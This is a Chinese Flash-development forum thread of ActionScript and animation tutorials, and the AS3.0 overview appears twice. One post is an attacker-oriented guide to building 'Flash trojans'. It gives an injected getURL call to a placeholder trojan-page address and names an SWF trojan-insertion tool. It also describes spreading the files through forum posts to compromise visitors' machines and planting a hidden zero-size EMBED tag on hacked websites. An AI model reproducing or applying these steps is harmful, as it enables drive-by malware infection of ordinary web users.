返回列表 发帖
老大你的肖像也太吓人了吧
能不能换个撒

TOP

想实现的效果是:每次刷新存在有Flash的网页,打开的图片均不一样。随机载入嘛。

制作方法:


1、新建550*413FLASH文档;


2、新建空影片剪辑loadpic;


3、将loadpic拖至场景中,设置实例名称为"loadpic";


4、在此FLASH文档保存的相同目录下新建文件夹images;(网页上传的时候也要把图片上传)


5、在其中放置1.jpg,2.jpg,3.jpg;


6、新建图层AS;


7、在其中加入代码:


filename=["1.jpg","2.jpg","3.jpg"];

path="images/";

i=filename.length;

k=Math.floor(Math.random()*i);

loadMovie(path+filename[k],"loadpic");

最后可以按Ctrl+Enter测试了!
专业核弹头翻新,改装,潜艇抛光,喷漆.回收二手航母。并批发歼10,F22 F35 B2轰炸机,收售各类氢/核弹头。量大从优!有{mod}

TOP

随着一些相关资料对as3.0的介绍,有人可能认为它是另一种语言.它的根本改变在哪呢,它是什么呢?现在我们要放松一点.如果你熟知as2.0,那么它的变化并不是很大,甚至增加了一些命令你可以使用.

从我们第一眼看as3.0,它并不是一个全新的语言,它的架构要好于AS2.0,你将从FLASH8开始发现这些.任何东西都有自已的类和整洁的子类.类的继承关系看起来很复杂,但是它却是很容易理解.

主要的改变:

1.不在有_global范围了,但是你可以通过在预先的public,private和internal里,使用”namespace”来创建你自已的命名.

2. int/uint. 新的数据类型来描述非浮点数,这项增加可以使flash与其它程序语言同步,并且解决一些使用java和AMF/Flash Remoting令人头痛的问题.

3. 你不能在在时间线上使用命令play()或stop().MovieClip不在是在global的范围内了,你必须通过flash.display.MovieClip来使用它的属性.

4.正规标准表达式—-快速搜索操作字符串.


5.新的更简单的委派(delegate)

6.-DOM3 事件模型——一个新的,但是不被熟知的生成和操作事件信息的方法.

7.-显示API列表——图像根据新的或更多的逻辑基于类别如Sprites精灵和Shapes形体被细分

8.-在也不需要指定depth深度数值给对象. Depth管理类现在会自动控制(基于API列表)并内建于flash player内.新的方法提供了对对象z-order也就是Z轴的操作.

9.-Final/protected关键词.—-防止你的类或函数被覆写.

8.-新的简单的XML元素及属性使用E4X.

9.-ArgumentError 类.——使用此类可以避免函数调用了不相符合的参数时所产生的错误.

10.-Package 关键诩—-如果你不知道pagckage是什么,不要担心,当你在做大的项目时你会慢慢喜欢上它.

11.-被用在数据输入输出接口的ByteArray提供方法和属性来优化读,写,和二进制数据.


低级别—异常

异常处理对于FLASH开发人员来说路还较长,如果一个数值超出新的int/unit数据类型,一个错误就会被显示出来.有些类似于JAVA.你必须要想办法解决这些问题,否则FLASH程序可能就会垮台.如果一些东西在AS1和AS2中失效,flash player可能会很友好的忽略掉,在FLASH8中,你可能已经通过使用file upload看的了新的究错能力,它需要一系列事件来显示上载进程和缓存错.使用AS3,这些是工作在一个低级别的状态

异常可能会发生几个地方,例如:使用As3.0,你需要查看你的内存的最近使用状况,MemoryError是一个新的异常,当内存寻址失败时,它就会通过AVM2虚拟机显示错识.其它的异常为EOFError,illegalOperatinError,IOError,ScriptTimeoutError和StackOverflowError.

想一下上面这些内容,之前许多是JAVA等其它语言专用的,你可以通过StringBuilder类看到,它来自java类StringBuffer可以允许我们很容易的操作字符.终上所述,我必须说新的AS3类的结构看起来非常好.有不同背景的程序员看到FLASH就会说我知道它是怎么做的,我认为我们可以说actionscript已经过去了,它的童年过去了,青年时代刚刚到来.


新的命令

可能有更多的新命令,这里面例出一些发现到的.

Sound(声音)

leftPeak / rightPeak Property

当前声音的右声道振幅,从0到1

isBuffering : Boolean [read-only]

返回外缓冲MP3的状态

soundBufferTime : uint

声音在流式播放前缓冲的秒数

System(系统)

vmVersion : String [read-only]

当前安装的ActionScript虚拟机的版本

totalMemory : uint [read-only]

报告当前使用的内存数量.

http://livedocs.macromedia.com/l ... /system/System.html

Debugging(调试)

getClassByName(name:String) : Class

返回指定名称类对象的引用

describeType(value:Object) : XML

xml对象产物,用来描述actionscript对象参数的方法.

ps:看来As3.0并没有想象中的变化那么大,不过先是FLASH8,接着FLEX2,AS3.0,macroemdia的脚步是越走越快.



低级别—异常

异常处理对于FLASH开发人员来说路还较长,如果一个数值超出新的int/unit数据类型,一个错误就会被显示出来.有些类似于JAVA.你必须要想办法解决这些问题,否则FLASH程序可能就会垮台.如果一些东西在AS1和AS2中失效,flash player可能会很友好的忽略掉,在FLASH8中,你可能已经通过使用file upload看的了新的究错能力,它需要一系列事件来显示上载进程和缓存错.使用AS3,这些是工作在一个低级别的状态

异常可能会发生几个地方,例如:使用As3.0,你需要查看你的内存的最近使用状况,MemoryError是一个新的异常,当内存寻址失败时,它就会通过AVM2虚拟机显示错识.其它的异常为EOFError,illegalOperatinError,IOError,ScriptTimeoutError和StackOverflowError.

想一下上面这些内容,之前许多是JAVA等其它语言专用的,你可以通过StringBuilder类看到,它来自java类StringBuffer可以允许我们很容易的操作字符.终上所述,我必须说新的AS3类的结构看起来非常好.有不同背景的程序员看到FLASH就会说我知道它是怎么做的,我认为我们可以说actionscript已经过去了,它的童年过去了,青年时代刚刚到来.


新的命令

可能有更多的新命令,这里面例出一些发现到的.

Sound(声音)

leftPeak / rightPeak Property

当前声音的右声道振幅,从0到1

isBuffering : Boolean [read-only]

返回外缓冲MP3的状态

soundBufferTime : uint

声音在流式播放前缓冲的秒数

System(系统)

vmVersion : String [read-only]

当前安装的ActionScript虚拟机的版本

totalMemory : uint [read-only]

报告当前使用的内存数量.

http://livedocs.macromedia.com/l ... /system/System.html

Debugging(调试)

getClassByName(name:String) : Class

返回指定名称类对象的引用

describeType(value:Object) : XML

xml对象产物,用来描述actionscript对象参数的方法.
专业核弹头翻新,改装,潜艇抛光,喷漆.回收二手航母。并批发歼10,F22 F35 B2轰炸机,收售各类氢/核弹头。量大从优!有{mod}

TOP

操作步骤:
1、启动Flash,选择[文件]--[新建] 命令,新建一个 Flash 文档,并将舞台背景颜色设为黑色。

2、新建一个图形文件,命名为light。在编辑区中绘制出如图1所示的图形。





3、新建一个名为starlight的图形文件,进入元件编辑窗口,从“库”面板中将元件light拖曳到当前元件编辑区中心处。按[Ctrl+T]组合键打开“变形”面板,在其中设置各项参数,如图2所示;然后单击[复制并应用变形]按钮三次,即可得到“星星”图形元件,如图3所示。

  




4、新建一个名为star的影片剪辑元件,进入元件编辑窗口,将元件starlight从“库”面板中拖入到当前元件编辑区,使其中心与元件编辑区中心对齐。分别选中第10帧和第20帧,并按[F6]键插入关键帧。

5、单击第1帧,选中starlight元件实例,在“属性”面板中设置Alpha值为10% ,并修改其尺寸为原来的50% ,如图4所示。选中第10帧,利用“变形”面板使元件旋转10度。再选中第20帧,设置其Alpha值为20% ,其尺寸为原来的50% 。




6、选中“图层1”的第1帧,在“属性”面板中设置“补间”为“动作”,“旋转”为“逆时针”。选中第10帧,在其“属性”面板中设置“补间”为“动作”,“旋转”为“顺时针”。

7、返回“场景1”编辑窗口,从“库”面板中将元件star拖入舞台。在“图层1”上面添加一个动作引导图层,锁定“图层1”。

8、选择“文本工具”,在引导层上输入文本Flash178,文本属性设置如图5所示。




9、连续两次按[Ctrl+B]组合键将文本打散。选择“墨水瓶工具”,设置“笔触高度”为1,单击各个字母得到轮廓线,删去多余的部分,并使用“橡皮擦工具”在字母a、8顶端擦出一个小缺口,如图6所示。




10、选中引导层的第159帧,按[F5]键插入普通帧。

11、选中“图层1”第1帧,在工具箱下方的“选项”选项区中单击“对齐对象”按钮,将元件star移动到字母F上方端点处,如图7所示。在“属性”面板中设置元件的实例名称为star,如图8所示。

  




12、选中“图层1”的第9帧,并按[F6]键插入关键帧,将元件star移动到字母F上方右侧端点处,这样就完成了一个字母动画的制作。同样,分别在第28、41、42、59、60、76、77、97、98、115、116、136、137、159帧按[F6]键插入关键帧。

13、单击“图层1”,在“属性”面板中设置“补间”为“动作”,完成整个字母动画。

14、新建一个名为“动作”的影片剪辑元件,进入元件编辑窗口,选中第1帧,按[F9]键打开“动作-帧”面板,添加如图9所示的动作语句。




15、在第2帧添加动作语句“gotoAndPlay(1)”,表示循环播放第1帧。

16、返回“场景1”,新建“图层3”,在“库”面板中将元件“动作”拖曳到舞台中,然后删除第159帧,使动作语句对该帧不起作用。

17、选中“场景1”的第97帧,添加动作语句:stop();,此时的“时间轴”面板如图10所示。




18、按[Ctrl+Enter]组合键测试影片,观看动画效果。
专业核弹头翻新,改装,潜艇抛光,喷漆.回收二手航母。并批发歼10,F22 F35 B2轰炸机,收售各类氢/核弹头。量大从优!有{mod}

TOP

1.新建一个Flash文档,单击“属性”面板中的“尺寸”按钮,打开“文档属性”面板设置场景大小为450px x 180px,背景为#00105A,帧频为18fps。

2.按快捷键Ctrl+F8打开“创建新元件”面板,新建一个名为“文字”的影片剪辑元件。如图1所示。



3.点选“工具”面板里的“文本”工具 ,然后如图1所示设置“属性”面板。在“文字”元件的场景单击鼠标左键,输入一个大写字母V。如图2所示。



4.点选字母V,按两次快捷键Ctrl+B将其打散。点选“墨水瓶”工具 ,“属性”面板里的“笔触颜色”选择白色。用“墨水瓶”工具点击字母V,为其“浇灌”上轮廓线。

5.用“箭头”工具 点选字母V,将其向左下方移动一点,如图3所示。


6.点选“直线”工具 ,如图4所示进行连线,连线的时候点选“对齐对象”图标 会比较好连。最后点选“箭头”工具,删除“不可见”线条。如图5所示。一个具有立体感的字母到这里就做好了。下面给字母着色。


7.点选“颜料桶”工具,按快捷键Shift+F9打开“混色器”面板,如图6所示设置。图6中三个滑块的颜色分别为#57A8F7、#AFD6FA和#3997F4,Alpha值均为100%。用鼠标左键按住滑块拖出面板后松开即可删除滑块。设置好“混色器”面板后,用“颜料桶”工具点击字母“V”的正面着色。


8.把“混色器”面板中三个滑块的颜色改为#0B67C4、#3C98F2、#0A539A。再给字母顶部着色,如图8所示。把“混色器”面板中三个滑块的颜色改为#0C67C2、#1582EE、#0B559F,再给字母顶部着色,如图9所示。最后用“箭头”工具点选字母的边线,按Delete键删除。如图10所示。



9.点选“填充变形”工具 ,点击字母的正面,并拖动白色空心小圆圈(旋转渐变控制点)进行旋转。如图11所示。拖动白色空心小方块(范围渐变控制点)进行调节。如图12所示。这样调节的作用是使色彩过渡更加细腻,更有质感。



10.同上方法制作出字母M和字母T。“文字”元件的最终效果如图13所示。


11.按快捷键Ctrl+F8打开“创建新元件”面板,新建一个名为“光线”的影片剪辑元件。

12.点选“矩形”工具 ,在“光线”元件的场景中拉出一个矩形,不要边线,如图14所示。点选绘制出的矩形,按快捷键Ctrl+C(复制),Ctrl+V粘贴出几个矩形,排列好。如图15所示。整个矩形的高宽要能遮挡文字。


13.单击“时间轴”面板中的“插入图层”按钮,新建三层。双击层的名字,将其改为“文字遮罩”、“文字”“文字背景”。层的上下次序不可颠倒。

14.按快捷键Ctrl+L
专业核弹头翻新,改装,潜艇抛光,喷漆.回收二手航母。并批发歼10,F22 F35 B2轰炸机,收售各类氢/核弹头。量大从优!有{mod}

TOP

  一、制作Flash动画木马的准备

  Flash动画木马的原理,是在网页中显示或本地直接播放Flash动画木马时,让Flash自动打开一个网址,而该网址就是我们预先制作好的一个木马网页。也就是说,在制作网页木马前,我们首先需要制作好一个网页木马,并将它放置到某个网站上去。

  另外,我们还需要准备一个比较吸引人的Flash动画文件“热舞.swf”,以及Flash动画反编译工具“闪客精灵”,编辑工具Macromedia Flash 8。

  二、最原始的Flash木马

  现在虽然有了许多各种各样的Flash动画木马制作工具,但是为了了解Flash动画木马的最基本原理,有必要从头开始用最原始的方法制作一个Flash木马。

  步骤一:反编译SWF动画

  首先我们需要将要插入网页木马的Flash动画文件“MM热舞.swf”,反编译成可编辑的.fla格式。运行“闪客精灵”,点击菜单“文件”→“快速打开”命令,指定“MM热舞.swf”文件将其导入。然后点击工具栏上的“导出FLA”命令,将动画导出为“MM热舞.fla”文件。

  步骤二:插入网页木马代码

  然后运行Flash动画编辑器Macromedia Flash MX,点击菜单“文件”→“打开”,调入刚才保存的fla文件。展开界面下方的“动作/帧”栏,再展开“动作”→“浏览器/网络”项,点击其中的“getURL”命令,在右边窗口中的“URL”里面输入我们的网页木马地址;窗口方式为“_blank”;“变量”设置为“使用GET方式发送”,在下方的代码窗口中将出现“getURL("http://网页木马地址", "_blank", "GET");”。

  步骤三:生成Flash木马

  设置完毕后保存文件,并点击菜单“文件”→“发布”命令,将动画重新导出为SWF格式。用IE浏览器打开刚才生成的Flash动画木马,可以看到随着Flash动画打开播放时,自动弹出一个浏览器窗口,里面将会显示我们的木马网页。

  三、简简单单生成Flash木马


  上面插入木马的过程比较麻烦,下面我们介绍一个简单的方法,也正是这些简单的工具使得Flash木马在网上随处可见。

  运行SWF木马插入器,点击界面中的“选择”按钮,浏览指定要插入木马的SWF文件;在“插入代码”中输入木马网页的地址;切记不要勾选下面的“只解压”项。设置完毕后,点击“给我插”按钮,程序提示开始插入木马网页。显示成功信息后,关闭程序,用IE打开生成的动画,可以看到自动跳转到木马网页去了。

  四、Flash木马的利用

  看到上面的步骤了吧,生成一个Flash动画木马是不是很简单?那么生成的Flash木马该如何应用呢?只要我们将Flash上传到某个网站中,就可以通过论坛或网站之类的直接利用了。

  大部分的论坛中都可以发来Flash动画的帖子,利用论坛发帖,攻击者可以快速获得大量的肉鸡。以PHPWind v4.3.2 论坛为例,在发帖或回复时,点击编辑窗口上方的“插入Flash动画”按钮,设置Flash窗口大小,使用默认设置后,要求输入Flash的URL地址。确定后,可以看到编辑窗口中显示的代码为““(flash=400,300)hxxp://www.flash**.com.cn/upfiles/20067**.swf(/flash)””,这就是完整的Flash播放代码了,不同的论坛代码是不一样的。

  应用二:网页嵌入Flash木马

  攻击者入侵了某个大的网站之后,很可能在网站首页挂马,使用普通方式挂马会被管理员发觉,但是挂上Flash木马的话,是很难查杀的。攻击者可能在网页中插入如下代码:

  “《EMBED src=http://网页木马地址/木马.swf width=0 height=0 type=application/x-shockwave-flash AUTOSTART="false" ShowStatusBar="false"》”,其中的《》改为<>。

  这里的参数“width=0 height=0”表示,Flash播放窗口为零,也就是不显示Flash播放窗口。其它用户浏览网页时,就会莫名其妙的弹出一个木马网页窗口。

 说白了就是用flash自动跳转的功能来实现开启有马网页,很easy的。。。。

[ 本帖最后由 lopo1983 于 2007-6-13 00:31 编辑 ]
专业核弹头翻新,改装,潜艇抛光,喷漆.回收二手航母。并批发歼10,F22 F35 B2轰炸机,收售各类氢/核弹头。量大从优!有{mod}

TOP

在这里也为大家做点贡献 关于flash+asp的产品展示
源码希望大家笑纳
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
专业核弹头翻新,改装,潜艇抛光,喷漆.回收二手航母。并批发歼10,F22 F35 B2轰炸机,收售各类氢/核弹头。量大从优!有{mod}

TOP

Frame_num = 2;
angle = 30;
plus_angle = 120;
scene_width = 955;
scene_height = 600;
_root.bar_mc.i = 0;
_root.bar_mc._visible = 0;
_root.bar_mc.onEnterFrame = function () {
        if (this.i%Frame_num == 0) {
                mc = this.duplicateMovieClip ("bar_mc"+this.i, this.i);
                mc._x = random (scene_width);
                mc._y = random (scene_height);
                mc._rotation = random (angle)+plus_angle;
        }
        this.i++;
};

flash背景特效
专业核弹头翻新,改装,潜艇抛光,喷漆.回收二手航母。并批发歼10,F22 F35 B2轰炸机,收售各类氢/核弹头。量大从优!有{mod}

TOP

凡是为攻击我而造的武器都必将被摧毁  凡是在审判中诋毁我的言论都必将被定罪  《旧约·以塞亚书》54章17节

TOP

有没有视频教程啊?
葥方昰絶簬
      唏朢在轉角

TOP

返回列表 回复 发帖